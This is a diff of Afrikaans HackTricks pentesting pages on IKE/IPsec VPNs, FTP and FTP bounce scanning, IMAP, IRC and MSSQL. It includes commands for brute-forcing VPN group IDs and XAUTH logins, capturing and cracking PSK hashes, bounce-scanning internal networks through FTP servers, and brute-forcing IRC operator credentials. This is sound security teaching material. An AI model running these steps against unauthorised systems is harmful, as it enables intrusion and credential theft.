* Laastens, as die bediener niks aan die kontroles terugstuur nie, sal **ikeforce** probeer om die bediener te brute force en kyk of wanneer die korrekte ID gestuur word, die bediener met 'n paar pakkette antwoordgee.\
Dit is duidelik dat die doel van die brute forcing van die ID is om die **PSK** te kry wanneer jy 'n geldige ID het. Dan, met die **ID** en **PSK** sal jy die XAUTH moet bruteforce (as dit geaktiveer is).
As jy 'n spesifieke transformasie ontdek het, voeg dit by die ikeforce-opdrag. En as jy verskeie transformasies ontdek het, voel vry om 'n nuwe lus toe te voeg om hulle almal te probeer (jy moet hulle almal probeer totdat een van hulle behoorlik werk).
As jy 'n spesifieke transformasie ontdek het, voeg dit by die ikeforce-opdrag. En as jy verskeie transformasies ontdek het, voel vry om 'n nuwe lus by te voeg om hulle almal te probeer (jy moet hulle almal probeer totdat een van hulle behoorlik werk).
```bash
git clone https://github.com/SpiderLabs/ikeforce.git
pip install 'pyopenssl==17.2.0' #It is old and need this version of the library
@ -187,7 +179,7 @@ pip install 'pyopenssl==17.2.0' #It is old and need this version of the library
## Capturing & cracking the hash
Laastens, as jy 'n **geldige transformasie** en die **groep naam** gevind het en as die **aggressiewe modus toegelaat word**, kan jy baie maklik die kraakbare hash gryp:
Laastens, as jy 'n **geldige transformasie** en die **groep naam** gevind het en as die **aggressiewe modus toegelaat word**, dan kan jy baie maklik die kraakbare hash gryp:
```bash
ike-scan -M -A -n <ID> --pskcrack=hash.txt <IP> #If aggressive mode is supported and you know the id, you can get the hash of the passwor
```
@ -199,9 +191,9 @@ psk-crack -d <Wordlist_path> psk.txt
```
## **XAuth**
**Aggressiewe modus IKE** gekombineer met 'n **Vooraf-Gedeelde Sleutel (PSK)** word algemeen gebruik vir **groepsverifikasie** doeleindes. Hierdie metode word versterk deur **XAuth (Uitgebreide Verifikasie)**, wat dien om 'n addisionele laag van **gebruikersverifikasie** in te voer. Sulke verifikasie maak tipies gebruik van dienste soos **Microsoft Active Directory**, **RADIUS**, of soortgelyke stelsels.
**Aggressive mode IKE** gekombineer met 'n **Pre-Shared Key (PSK)** word algemeen gebruik vir **groepsverifikasie** doeleindes. Hierdie metode word versterk deur **XAuth (Extended Authentication)**, wat dien om 'n addisionele laag van **gebruikersverifikasie** in te voer. Sulke verifikasie maak tipies gebruik van dienste soos **Microsoft Active Directory**, **RADIUS**, of soortgelyke stelsels.
Met die oorgang na **IKEv2** word 'n noemenswaardige verskuiwing waargeneem waar **EAP (Uitbreidbare Verifikasie Protokol)** gebruik word in plaas van **XAuth** vir die doel om gebruikers te verifieer. Hierdie verandering beklemtoon 'n evolusie in verifikasietegnieke binne veilige kommunikasieprotokolle.
Met die oorgang na **IKEv2**, word 'n noemenswaardige verskuiwing waargeneem waar **EAP (Extensible Authentication Protocol)** gebruik word in plaas van **XAuth** vir die doel om gebruikers te verifieer. Hierdie verandering beklemtoon 'n evolusie in verifikasietegnieke binne veilige kommunikasieprotokolle.
### Plaaslike netwerk MitM om akrediteer te vang
@ -217,11 +209,11 @@ Om die **XAUTH** te brute force (wanneer jy 'n geldige groepnaam **id** en die *
```bash
./ikeforce.py <IP> -b -i <group_id> -u <username> -k <PSK> -w <passwords.txt> [-s 1]
```
So sal ikeforce probeer om te verbind met elke kombinasie van gebruikersnaam:wagwoord.
Op hierdie manier sal ikeforce probeer om te verbind met elke kombinasie van gebruikersnaam:wagwoord.
As jy een of verskeie geldige transformasies gevind het, gebruik dit net soos in die vorige stappe.
## Verifikasie met 'n IPSEC VPN
## Outentisering met 'n IPSEC VPN
In Kali word **VPNC** gebruik om IPsec tonnels op te stel. Die **profiele** moet in die gids `/etc/vpnc/` geleë wees. Jy kan hierdie profiele inisieer met die opdrag _**vpnc**_.
@ -243,9 +235,9 @@ In hierdie opstelling:
* Vervang `[VPN_GATEWAY_IP]` met die werklike IP-adres van die VPN-gateway.
* Vervang `[VPN_CONNECTION_ID]` met die identifiseerder vir die VPN-verbinding.
* Vervang `[VPN_GROUP_SECRET]` met die VPN se groepgeheim.
* Vervang `[VPN_GROUP_SECRET]` met die VPN se groep geheim.
* Vervang `[VPN_USERNAME]` en `[VPN_PASSWORD]` met die VPN-authentikasie akkrediteer.
* `[PID]` simboliseer die proses-ID wat toegeken sal word wanneer `vpnc` begin.
* `[PID]` simboliseer die proses ID wat toegeken sal word wanneer `vpnc` begin.
Verseker dat werklike, veilige waardes gebruik word om die plekhouers te vervang wanneer die VPN gekonfigureer word.
@ -254,17 +246,12 @@ Verseker dat werklike, veilige waardes gebruik word om die plekhouers te vervang
* [PSK cracking paper](http://www.ernw.de/download/pskattack.pdf)
* [SecurityFocus Infocus](http://www.securityfocus.com/infocus/1821)
* [Scanning a VPN Implementation](http://www.radarhack.com/dir/papers/Scanning\_ike\_with\_ikescan.pdf)
* Netwerk Sekuriteit Assessering 3de Uitgawe
* Network Security Assessment 3de Uitgawe
## Shodan
* `port:500 IKE`
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)

View file

@ -6,7 +6,7 @@ Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
<details>
<summary>Support HackTricks</summary>
<summary>Ondersteun HackTricks</summary>
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
@ -15,18 +15,10 @@ Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
</details>
{% endhint %}
**Try Hard Security Group**
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
## Basiese Inligting
Die **File Transfer Protocol (FTP)** dien as 'n standaard protokol vir lêer oordrag oor 'n rekenaar netwerk tussen 'n bediener en 'n kliënt.\
Dit is 'n **plain-text** protokol wat gebruik maak van 'n **nuwe lyn karakter `0x0d 0x0a`** so soms moet jy **verbinde met `telnet`** of **`nc -C`**.
Dit is 'n **plain-text** protokol wat die **nuwe lyn karakter `0x0d 0x0a`** gebruik, so soms moet jy **verbinde met `telnet`** of **`nc -C`**.
**Standaard Poort:** 21
```
@ -35,13 +27,13 @@ PORT STATE SERVICE
```
### Verbindinge Aktief & Passief
In **Aktiewe FTP** begin die FTP **klient** eers die kontrole **verbinding** vanaf sy poort N na die FTP Bediener se kommando poort poort 21. Die **klient** luister dan na poort **N+1** en stuur die poort N+1 na die FTP Bediener. Die FTP **Bediener** begin dan die data **verbinding**, vanaf **sy poort M na die poort N+1** van die FTP Klient.
In **Aktiewe FTP** begin die FTP **klient** eers die kontrole **verbinding** vanaf sy poort N na die FTP Bediening se kommando poort poort 21. Die **klient** luister dan na poort **N+1** en stuur die poort N+1 na die FTP Bediening. Die FTP **Bediening** begin dan die data **verbinding**, vanaf **sy poort M na die poort N+1** van die FTP Klient.
Maar, as die FTP Klient 'n firewall opgestel het wat die inkomende dataverbindinge van buite beheer, kan aktiewe FTP 'n probleem wees. En, 'n haalbare oplossing daarvoor is Passiewe FTP.
In **Passiewe FTP**, begin die klient die kontrole verbinding vanaf sy poort N na die poort 21 van die FTP Bediener. Na hierdie, gee die klient 'n **passv kommando** uit. Die bediener stuur dan vir die klient een van sy poortnommers M. En die **klient** **begin** die data **verbinding** vanaf **sy poort P na poort M** van die FTP Bediener.
In **Passiewe FTP** begin die klient die kontrole verbinding vanaf sy poort N na die poort 21 van die FTP Bediening. Daarna gee die klient 'n **passv kommando** uit. Die bediener stuur dan vir die klient een van sy poortnommers M. En die **klient** **begin** die data **verbinding** vanaf **sy poort P na poort M** van die FTP Bediening.
Source: [https://www.thesecuritybuddy.com/vulnerabilities/what-is-ftp-bounce-attack/](https://www.thesecuritybuddy.com/vulnerabilities/what-is-ftp-bounce-attack/)
Bron: [https://www.thesecuritybuddy.com/vulnerabilities/what-is-ftp-bounce-attack/](https://www.thesecuritybuddy.com/vulnerabilities/what-is-ftp-bounce-attack/)
### Verbinding foutopsporing
@ -70,7 +62,7 @@ Met **nmap**
```bash
sudo nmap -sV -p21 -sC -A 10.10.10.10
```
U kan die opdragte `HELP` en `FEAT` gebruik om inligting van die FTP-bediener te verkry:
U kan die opdragte `HELP` en `FEAT` gebruik om 'n paar inligting van die FTP-bediener te verkry:
```
HELP
214-The following commands are recognized (* =>'s unimplemented):
@ -130,7 +122,7 @@ Anon inlog en bounce FTP kontrole word standaard deur nmap uitgevoer met **-sC**
```bash
nmap --script ftp-* -p 21 <ip>
```
## Blaaierverbinding
## Bladsyverbinding
Jy kan met 'n FTP-bediener verbind deur 'n blaaier (soos Firefox) te gebruik met 'n URL soos:
```bash
@ -149,8 +141,8 @@ wget -r --user="USERNAME" --password="PASSWORD" ftp://server.com/
```
## Sommige FTP-opdragte
* **`USER username`**
* **`PASS password`**
* **`USER gebruikersnaam`**
* **`PASS wagwoord`**
* **`HELP`** Die bediener dui aan watter opdragte ondersteun word
* \*\*`PORT 127,0,0,1,0,80`\*\*Dit sal die FTP-bediener aandui om 'n verbinding met die IP 127.0.0.1 op poort 80 te vestig (_jy moet die 5de karakter as "0" en die 6de as die poort in desimale of gebruik die 5de en 6de om die poort in hex uit te druk_).
* \*\*`EPRT |2|127.0.0.1|80|`\*\*Dit sal die FTP-bediener aandui om 'n TCP-verbinding (_aangedui deur "2"_) met die IP 127.0.0.1 op poort 80 te vestig. Hierdie opdrag **ondersteun IPv6**.
@ -160,7 +152,7 @@ wget -r --user="USERNAME" --password="PASSWORD" ftp://server.com/
* **`STOR /path/something.txt`** Soos `APPE` maar dit sal die lêers oorskryf
* **`STOU /path/something.txt`** Soos `APPE`, maar as dit bestaan, sal dit niks doen nie.
* **`RETR /path/to/file`** 'n Passiewe of 'n poortverbinding moet gevestig word. Dan sal die FTP-bediener die aangeduide lêer deur daardie verbinding stuur
* **`REST 6`** Dit sal die bediener aandui dat dit die volgende keer wat dit iets stuur met `RETR` in die 6de byte moet begin.
* **`REST 6`** Dit sal die bediener aandui dat dit die volgende keer iets stuur met `RETR` dit moet begin by die 6de byte.
* **`TYPE i`** Stel oordrag na binêr
* **`PASV`** Dit sal 'n passiewe verbinding oopmaak en die gebruiker aandui waar hy kan aansluit
* **`PUT /tmp/file.txt`** Laai die aangeduide lêer na die FTP op
@ -173,7 +165,7 @@ Sommige FTP-bedieners laat die opdrag PORT toe. Hierdie opdrag kan gebruik word
[**Leer hier hoe om 'n FTP-bediener te misbruik om poorte te skandeer.**](ftp-bounce-attack.md)
Jy kan ook hierdie gedrag misbruik om 'n FTP-bediener met ander protokolle te laat interaksie hê. Jy kan **'n lêer wat 'n HTTP-versoek bevat, oplaai** en die kwesbare FTP-bediener **dit na 'n arbitrêre HTTP-bediener laat stuur** (_miskien om 'n nuwe admin gebruiker by te voeg?_) of selfs 'n FTP-versoek oplaai en die kwesbare FTP-bediener 'n lêer vir 'n ander FTP-bediener laat aflaai.\
Jy kan ook hierdie gedrag misbruik om 'n FTP-bediener met ander protokolle te laat interaksie hê. Jy kan **'n lêer wat 'n HTTP-versoek bevat, oplaai** en die kwesbare FTP-bediener **dit na 'n arbitrêre HTTP-bediener laat stuur** (_miskien om 'n nuwe admin-gebruiker by te voeg?_) of selfs 'n FTP-versoek oplaai en die kwesbare FTP-bediener 'n lêer vir 'n ander FTP-bediener laat aflaai.\
Die teorie is eenvoudig:
1. **Laai die versoek (binne 'n tekslêer) na die kwesbare bediener op.** Onthou dat as jy met 'n ander HTTP of FTP-bediener wil praat, jy lyne moet verander met `0x0d 0x0a`
@ -194,11 +186,11 @@ posts.txt
In elk geval, hier het jy 'n [ou voorbeeld oor hoe om dit te misbruik om 'n FTP-bediener 'n lêer van 'n ander FTP-bediener af te laai.](ftp-bounce-download-2oftp-file.md)
## Filezilla Bediener Kwesbaarheid
## Filezilla Bediener Kwetsbaarheid
**FileZilla** bind gewoonlik **lokal** 'n **Administratiewe diens** vir die **FileZilla-Server** (poort 14147). As jy 'n **tonnel** van **jou masjien** kan skep om toegang tot hierdie poort te verkry, kan jy **verbinde** met **dit** met 'n **leë wagwoord** en **'n nuwe gebruiker** vir die FTP-diens **skep**.
## Konfig-lêers
## Konfigurasie lêers
```
ftpusers
ftp.conf
@ -212,11 +204,11 @@ Die standaardkonfigurasie van vsFTPd kan gevind word in `/etc/vsftpd.conf`. Hier
* `anonymous_enable=YES`
* `anon_upload_enable=YES`
* `anon_mkdir_write_enable=YES`
* `anon_root=/home/username/ftp` - Gids vir anonieme gebruikers.
* `anon_root=/home/username/ftp` - Gids vir anonieme.
* `chown_uploads=YES` - Verander eienaarskap van anoniem opgelaaide lêers
* `chown_username=username` - Gebruiker wat eienaarskap van anoniem opgelaaide lêers ontvang
* `local_enable=YES` - Aktiveer plaaslike gebruikers om in te log
* `no_anon_password=YES` - Moet nie anonieme gebruikers om 'n wagwoord vra nie
* `no_anon_password=YES` - Moet nie anonieme vra vir wagwoord nie
* `write_enable=YES` - Laat opdragte toe: STOR, DELE, RNFR, RNTO, MKD, RMD, APPE, en SITE
### Shodan
@ -224,17 +216,8 @@ Die standaardkonfigurasie van vsFTPd kan gevind word in `/etc/vsftpd.conf`. Hier
* `ftp`
* `port:21`
***
**Try Hard Security Group**
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
## HackTricks Automatic Commands
## HackTricks Automatiese Opdragte
```
Protocol_Name: FTP #Protocol Abbreviation if there is one.
Port_Number: 21 #Comma separated if there is more than one.

View file

@ -15,14 +15,6 @@ Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
</details>
{% endhint %}
**Probeer Hard Sekuriteitsgroep**
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
## FTP Bounce - Skandering
### Handmatig
@ -39,7 +31,7 @@ Voorbeeld met **PORT** (poort 8080 van 172.32.80.80 is oop en poort 7777 is gesl
![](<../../.gitbook/assets/image (241).png>)
Dieselfde voorbeeld met **`EPRT`** (authentisering weggelaat in die beeld):
Selfde voorbeeld met **`EPRT`** (authentisering weggelaat in die beeld):
![](<../../.gitbook/assets/image (539).png>)
@ -53,12 +45,6 @@ nmap -b <name>:<pass>@<ftp_server> <victim>
nmap -Pn -v -p 21,80 -b ftp:ftp@10.2.1.5 127.0.0.1 #Scan ports 21,80 of the FTP
nmap -v -p 21,22,445,80,443 -b ftp:ftp@10.2.1.5 192.168.0.1/24 #Scan the internal network (of the FTP) ports 21,22,445,80,443
```
**Probeer Hard Sekuriteitsgroep**
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
@ -67,8 +53,8 @@ Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
<summary>Ondersteun HackTricks</summary>
* Kyk na die [**subskripsieplanne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>

View file

@ -1,31 +1,23 @@
# 143,993 - Pentesting IMAP
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
**Try Hard Security Group**
## Internetboodskaptoegangprotokol
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
## Internet Message Access Protocol
Die **Internet Message Access Protocol (IMAP)** is ontwerp om gebruikers in staat te stel om **hul e-pos boodskappe van enige plek af te bekom**, hoofsaaklik deur 'n Internet-verbinding. In wese word e-posse **op 'n bediener gehou** eerder as om afgelaai en op 'n individu se persoonlike toestel gestoor te word. Dit beteken dat wanneer 'n e-pos toegang verkry of gelees word, dit **direk van die bediener** gedoen word. Hierdie vermoë maak dit gerieflik om e-posse van **meerdere toestelle** te kontroleer, wat verseker dat geen boodskappe gemis word ongeag die toestel wat gebruik word nie.
Die **Internetboodskaptoegangprotokol (IMAP)** is ontwerp om gebruikers in staat te stel om **hul e-posboodskappe van enige plek af te benader**, hoofsaaklik deur 'n internetverbinding. In wese word e-posse **op 'n bediener gehou** eerder as om afgelaai en op 'n individu se persoonlike toestel gestoor te word. Dit beteken dat wanneer 'n e-pos toegang verkry of gelees word, dit **direk van die bediener** gedoen word. Hierdie vermoë maak dit moontlik om e-posse van **meerdere toestelle** te kontroleer, wat verseker dat geen boodskappe gemis word ongeag die toestel wat gebruik word nie.
Standaard werk die IMAP-protokol op twee poorte:
@ -118,7 +110,7 @@ Basiese navigasie is moontlik met [CURL](https://ec.haxx.se/usingcurl/usingcurl-
```bash
curl -k 'imaps://1.2.3.4/' --user user:pass
```
2. Lys van boodskappe in 'n posbus (imap opdrag `SELECT INBOX` en dan `SEARCH ALL`)
2. Lys boodskappe in 'n posbus (imap opdrag `SELECT INBOX` en dan `SEARCH ALL`)
```bash
curl -k 'imaps://1.2.3.4/INBOX?ALL' --user user:pass
```
@ -157,12 +149,6 @@ done
* `port:143 CAPABILITY`
* `port:993 CAPABILITY`
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
## HackTricks Outomatiese Opdragte
```
Protocol_Name: IMAP #Protocol Abbreviation if there is one.

View file

@ -6,7 +6,7 @@ Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
<details>
<summary>Support HackTricks</summary>
<summary>Ondersteun HackTricks</summary>
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
@ -15,34 +15,21 @@ Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
</details>
{% endhint %}
### [WhiteIntel](https://whiteintel.io)
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) is 'n **dark-web** aangedrewe soekenjin wat **gratis** funksies bied om te kyk of 'n maatskappy of sy kliënte **gekompromitteer** is deur **stealer malwares**.
Hul primêre doel van WhiteIntel is om rekening oorname en ransomware-aanvalle te bekamp wat voortspruit uit inligting-steel malware.
Jy kan hul webwerf besoek en hul enjin **gratis** probeer by:
{% embed url="https://whiteintel.io" %}
***
## Basiese Inligting
IRC, aanvanklik 'n **plain text protocol**, is aan **194/TCP** deur IANA toegeken, maar word algemeen op **6667/TCP** en soortgelyke poorte bedryf om te verhoed dat **root privileges** vir werking benodig word.
IRC, aanvanklik 'n **eenvoudige teksprotokol**, is aan **194/TCP** toegeken deur IANA, maar word algemeen op **6667/TCP** en soortgelyke poorte bedryf om te voorkom dat **root regte** benodig word vir werking.
'n **Bynaam** is al wat nodig is om met 'n bediener te verbind. Na verbinding, voer die bediener 'n omgekeerde DNS-opsoek op die gebruiker se IP uit.
'n **Bynaam** is alles wat nodig is om met 'n bediener te verbind. Na verbinding, voer die bediener 'n omgekeerde DNS-opsoek op die gebruiker se IP uit.
Gebruikers word verdeel in **operateurs**, wat 'n **gebruikersnaam** en **wagwoord** benodig vir meer toegang, en gewone **gebruikers**. Operateurs het verskillende vlakke van bevoegdhede, met administrateurs aan die top.
Gebruikers word verdeel in **operateurs**, wat 'n **gebruikersnaam** en **wagwoord** benodig vir meer toegang, en gewone **gebruikers**. Operateurs het verskillende vlakke van regte, met administrateurs aan die top.
**Standaard poorte:** 194, 6667, 6660-7000
```
PORT STATE SERVICE
6667/tcp open irc
```
## Enumerasie
## Opname
### Banner
@ -53,7 +40,7 @@ openssl s_client -connect <IP>:<PORT> -quiet
```
### Handmatig
Hier kan jy sien hoe om te verbind en toegang te verkry tot die IRC met 'n **random bynaam** en dan 'n paar interessante inligting op te som. Jy kan meer opdragte van IRC [hier](https://en.wikipedia.org/wiki/List\_of\_Internet\_Relay\_Chat\_commands#USERIP) leer.
Hier kan jy sien hoe om te verbind en toegang te verkry tot die IRC met 'n **random bynaam** en dan 'n paar interessante inligting te noem. Jy kan meer opdragte van IRC [hier](https://en.wikipedia.org/wiki/List\_of\_Internet\_Relay\_Chat\_commands#USERIP) leer.
```bash
#Connection with random nickname
USER ran213eqdw123 0 * ran213eqdw123
@ -82,7 +69,7 @@ JOIN <CHANNEL_NAME> #Connect to a channel
#Operator creds Brute-Force
OPER <USERNAME> <PASSWORD>
```
Jy kan ook probeer om in te log op die bediener met 'n wagwoord. Die standaard wagwoord vir ngIRCd is `wealllikedebian`.
U kan ook probeer om in te log op die bediener met 'n wagwoord. Die standaard wagwoord vir ngIRCd is `wealllikedebian`.
```bash
PASS wealllikedebian
NICK patrick
@ -98,17 +85,6 @@ nmap -sV --script irc-botnet-channels,irc-info,irc-unrealircd-backdoor -p 194,66
* `soek jou hostname op`
### [WhiteIntel](https://whiteintel.io)
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) is 'n **dark-web** aangedrewe soekenjin wat **gratis** funksies bied om te kyk of 'n maatskappy of sy kliënte **gekompromitteer** is deur **stealer malwares**.
Hul primêre doel van WhiteIntel is om rekening oorname en ransomware-aanvalle te bekamp wat voortspruit uit inligting-steel malware.
Jy kan hul webwerf besoek en hul enjin **gratis** probeer by:
{% embed url="https://whiteintel.io" %}
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
@ -116,7 +92,7 @@ Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
<details>
<summary>Ondersteun HackTricks</summary>
<summary>Support HackTricks</summary>
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**

View file

@ -15,19 +15,11 @@ Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
</details>
{% endhint %}
**Try Hard Security Group**
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
## Basiese Inligting
## Basic Information
Van [wikipedia](https://en.wikipedia.org/wiki/Microsoft\_SQL\_Server):
> **Microsoft SQL Server** is 'n **relationele databasis** bestuurstelsel wat deur Microsoft ontwikkel is. As 'n databasisbediener is dit 'n sagtewareproduk met die primêre funksie om data te stoor en op te haal soos versoek deur ander sagtewaretoepassings—wat op dieselfde rekenaar of op 'n ander rekenaar oor 'n netwerk (insluitend die Internet) kan loop.\\
> **Microsoft SQL Server** is 'n **relationele databasis** bestuurstelsel wat deur Microsoft ontwikkel is. As 'n databasisbediener is dit 'n sagtewareproduk met die primêre funksie om data te stoor en te onttrek soos versoek deur ander sagtewaretoepassings—wat op dieselfde rekenaar of op 'n ander rekenaar oor 'n netwerk (insluitend die Internet) kan loop.\\
**Standaard poort:** 1433
```
@ -37,7 +29,7 @@ Van [wikipedia](https://en.wikipedia.org/wiki/Microsoft\_SQL\_Server):
* **master Databasis**: Hierdie databasis is van kardinale belang aangesien dit alle stelselniveau besonderhede vir 'n SQL Server-instansie vasvang.
* **msdb Databasis**: SQL Server Agent gebruik hierdie databasis om skedulering vir waarskuwings en take te bestuur.
* **model Databasis**: Dien as 'n bloudruk vir elke nuwe databasis op die SQL Server-instansie, waar enige veranderinge soos grootte, kollasies, herstelmodel, en meer weerspieël word in nuut geskepte databasisse.
* **model Databasis**: Dien as 'n bloudruk vir elke nuwe databasis op die SQL Server-instansie, waar enige veranderinge soos grootte, kollegasie, herstelmodel, en meer weerspieël word in nuut geskepte databasisse.
* **Resource Databasis**: 'n Lees-alleen databasis wat stelselaanwysers bevat wat saam met SQL Server kom. Hierdie voorwerpe, terwyl dit fisies in die Resource databasis gestoor word, word logies in die sys skema van elke databasis aangebied.
* **tempdb Databasis**: Dien as 'n tydelike stoorarea vir tydelike voorwerpe of tussenresultate.
@ -159,13 +151,13 @@ SELECT * FROM sysusers
#### Kry Toestemmings
1. **Securable:** Gedefinieer as die hulpbronne wat deur SQL Server bestuur word vir toegangbeheer. Hierdie word gekategoriseer in:
* **Server** Voorbeelde sluit databasisse, aanmeldings, eindpunte, beskikbaarheidsgroepe, en server rolle in.
* **Database** Voorbeelde dek databasisrol, toepassingsrolle, skemas, sertifikate, volle teks katalogusse, en gebruikers.
* **Schema** Sluit tabelle, weergawes, prosedures, funksies, sinonieme, ens. in.
2. **Toestemming:** Geassosieer met SQL Server securables, toestemmings soos ALTER, CONTROL, en CREATE kan aan 'n prinsiep toegeken word. Bestuur van toestemmings vind op twee vlakke plaas:
* **Server Vlak** met behulp van aanmeldings
* **Database Vlak** met behulp van gebruikers
3. **Prinsiep:** Hierdie term verwys na die entiteit wat toestemming ontvang om toegang te verkry tot 'n securable. Prinsipes sluit hoofsaaklik aanmeldings en databasisgebruikers in. Die beheer oor toegang tot securables word uitgeoefen deur die toekenning of weiering van toestemmings of deur aanmeldings en gebruikers in rolle met toegangregte in te sluit.
* **Bediener** Voorbeelde sluit databasisse, aanmeldings, eindpunte, beskikbaarheidsgroepe, en bedienerrolle in.
